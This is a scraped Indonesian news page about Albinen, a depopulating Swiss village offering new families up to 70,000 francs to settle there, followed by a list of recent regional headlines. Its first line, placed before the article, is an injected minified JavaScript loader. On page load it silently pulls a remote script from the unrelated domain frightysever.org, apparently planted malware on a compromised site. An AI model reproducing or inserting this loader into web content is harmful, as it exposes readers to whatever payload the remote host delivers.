(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Unik

Krisis Penduduk, Desa di Swiss Ini Akan Bayar Kamu Rp 1 Miliar Jika Mau Tinggal!


Albinen adalah sebuah kawasan pemukiman yang cukup indah. Letaknya di kaki gunung Alpen Swiss. Namun desa ini tengah mengalami krisis penduduk. Jadi mereka sedang mencari keluarga yang mau pindah ke sana. Dan untuk menjadi penghuni baru Albinen, siapa saja bisa mendapatkan imbalan hingga 70.000 Franc.

Dilansir The Times, Albinen yang berada di Distrik Leuk, Valais, Swiss hanya memiliki 240 penduduk. Kebanyakan warganya sudah pindah ke kota besar. Sementara sekolah yang ada di sana pun baru saja ditutup, memaksa anak-anak yang masih tinggal di Albinen untuk menempuh jarak bermil-mil ke daerah lain jika ingin belajar.

Untuk mengatasi masalah kekurangan penduduk di sana, Albinen mencari warga baru dengan usia di bawah 45 tahun dan bersedia mempelajari bahasa Jerman. Sebagai insentif, setiap orang dewasa yang bersedia pindah ke sana akan diberi 25.000 Franc Swiss atau sekitar Rp 344.000.000. Untuk anak-anak, pemerintah Albinen bersedia memberikan 10.000 Franc Swiss atau sekitar Rp 137.000.000. Total uang yang bisa diberikan untuk satu keluarga mencapai 70.000 Franc Swiss atau hampir 1 miliar rupiah.

Sebagai catatan, jumlah uang yang diberikan bakal diperlakukan seperti investasi yang terikat perencanaan dari pemerintah Albinen. Calon penduduk baru harus membeli rumah di Albinen terlebih dahulu. Dan jika warga baru tersebut pindah ke luar kota dalam kurun waktu 10 tahun, maka pembayaran yang diberikan oleh pemerintah harus dikembalikan.

Dalam waktu dekat, keluarga yang berminat bisa segera mengajukan surat aplikasi kepada pemerintah Albinen. Meskipun imbalan yang diberikan masih terikat syarat dan ketentuan, diharapkan tetap bisa menarik minat.

Selain itu, Albinen juga menawarkan pemandangan indah pegunungan bersalju, udara yang bersih, dan pemukiman yang bebas dari kebisingan. Sama sekali bukan tawaran yang buruk, bukan? (cel/tsr)


Desy Arfianty

Recent Posts

DLH Banjarbaru Siapkan Antisipasi Sampah Jemaah Haul ke-20 Sekumpul

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More

8 jam ago

Cara Transaksi Lancar Saat Libur Natal 2024 dengan Layanan BRI

KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More

15 jam ago

Kakak Adik Edar Narkoba, 99 Gram Sabu dan Ekstasi Disita

KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More

16 jam ago

Ikhtiar Jaga Keandalan Listrik Nataru, PLN Doa Bersama Serentak se Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More

17 jam ago

Wamen BUMN Cek Kesiapan SPKLU PLN Layani Kebutuhan Nataru

KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More

18 jam ago

Diduga Sakit, Jasad Satpam Didapati Tak Bernyawa di Depan Bapelkes

KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More

18 jam ago

This website uses cookies.